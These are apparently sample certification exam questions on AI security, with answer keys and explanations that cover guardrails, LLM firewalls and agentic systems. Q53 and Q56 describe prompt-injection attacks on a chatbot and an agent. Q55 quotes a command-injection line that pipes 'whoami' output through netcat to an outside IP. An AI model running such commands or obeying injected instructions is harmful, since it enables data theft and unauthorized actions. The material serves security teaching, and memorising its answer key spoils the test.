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CompTIA SecAI+ CYO-001 V1 Certification Exam
Exam Objectives Document Version 1.1
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CompTIA SecAI+ Certification Exam Sample Questions (Q53-Q58):

NEW QUESTION # 53

A customer-facing, AI-powered chatbot has been jailbroken through prompt injections. As a result, the AI model is offering a 99% discount on the purchase of a new vehicle. Which of the following should be implemented to enhance the model's robustness against such attacks?

- A. System prompt
- B. Guardrails
- C. Log monitoring
- D. Bias filtering

Answer: B

Explanation:
Guardrails enforce strict rules on what the AI model can and cannot do, preventing malicious prompt injections from overriding intended behavior. In this case, guardrails would stop the chatbot from generating unauthorized offers such as extreme discounts.

NEW QUESTION # 54

A security consultant needs to detect attacks across a large language model (LLM) firewall.
Which of the following techniques should the consultant use?

- A. Translation analysis
- B. Signature matching
- C. Vulnerability enumeration
- D. Distributed denial-of-service

Answer: B

Explanation:
Signature matching allows the detection of known malicious patterns, inputs, or behaviors targeting an LLM firewall. It is an effective technique for identifying and blocking prompt injection or other recognized attack methods.

NEW QUESTION # 55

A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?

- A. Monitoring logs for attack words from the system
- B. Implementing user input validation
- C. Integrating data sanitization
- D. Hardening the Model Context Protocol server

Answer: B

Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.

NEW QUESTION # 56

A security alert triggers an agentic system. An analyst notices the following payload in the logs"
The alert includes multiple shell commands that are not typically run as part of any hardening.
Which of the following is the most effective control to implement?

- A. Using only approved libraries when interacting with agentic systems
- B. Deprecating model usage and retaining the model with safer parameters
- C. Modifying the application to ignore the SECURITY_UPDATE tag
- D. Adding logic that includes approved strings before running the shell commands

Answer: D

Explanation:
The payload in the alert attempts to trick the system into executing unauthorized shell commands.
The most effective control is to implement allow-list validation (approved strings) before execution. This ensures that only predefined, safe commands are executed, blocking prompt injection attempts that introduce malicious code such as the fake patch script.

NEW QUESTION # 57
Which methods identify vulnerabilities BEFORE deployment? (Choose two.)

- A. Patch management
- B. Design reviews
- C. Penetration testing
- D. Behavior analytics
- E. Static code analysis

Answer: B,E

Explanation:
Pre-deployment assessments rely on design evaluation and code inspection.

NEW QUESTION # 58
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